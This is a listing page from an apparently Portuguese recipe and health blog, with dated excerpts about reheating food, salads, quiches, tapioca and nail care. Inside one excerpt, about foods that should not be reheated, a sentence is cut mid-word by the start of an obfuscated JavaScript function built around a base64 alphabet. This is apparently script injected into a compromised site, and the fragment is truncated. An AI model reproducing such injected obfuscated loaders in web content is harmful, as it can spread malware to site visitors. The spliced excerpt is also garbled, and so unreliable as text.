Alimentos que não devemos aquecer no microondas

Fev 6, 2019 | Dicas úteis, Saúde e bem estar

Alimentos que não devemos aquecer no microondas   Há cada vez mais pessoas que que optam por levar refeições nas marmitas para o seu local de trabalho. Para além de ser uma forma de poupar dinheiro, é também uma excelente ajuda para quem não tem tempo de dirigir-se a...

Salada de rabanete e pepino – Uma refeição pouco calórica

Ago 28, 2017 | Receitas

 Salada de rabanete e pepino – Uma refeição pouco calórica   Sabia que a cenoura e o pepino são dos alimentos com menos calorias que existem? É verdade! E a pensar nisso hoje trago-lhe uma refeição completa mas com muito pouco calorias. É rica em vitaminas,...

Mini quiches de frango saudáveis e salada fresca de pepino

Mai 28, 2017 | Receitas

Mini quiches de frango saudáveis e salada fresca de pepino     Hoje trago-lhe duas receitas fantásticas para estes dias quentes. E são tão práticas que até as pode levar na marmita para a praia: mini quiches de frango saudáveis e salada fresca de pepino. Estas mini...

7 benefícios da tapioca para a nossa saúde

Abr 14, 2017 | Dicas úteis, Saúde e bem estar

7 benefícios da tapioca para a nossa saúde   Hoje vou falar-lhe de um alimento originário do Brasil e que já tem vindo a conquistar cada vez mais fãs por todo mundo. Já conhece a tapioca? Os benefícios são impressionantes. Saiba tudo aqui. A tapioca é a fécula...

7 alimentos que não devem ser reaquecidos

Abr 5, 2017 | Apanhados na rede, Olha que giro

7 alimentos que não devem ser reaquecidos   Não é nada boa ideia desperdiçar comida. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

10 alimentos e cuidados para ter unhas fortes e bonitas

Mar 4, 2017 | Equilíbrio, Saúde e bem estar

10 alimentos e cuidados para ter unhas fortes e bonitas   Para ter umas unhas fortes e bonitas o primeiro passo é uma alimentação equilibrada e saudável… mas são precisos também outros cuidados. Quer saber tudo? Conheça aqui 10 alimentos e cuidados que ajudam a...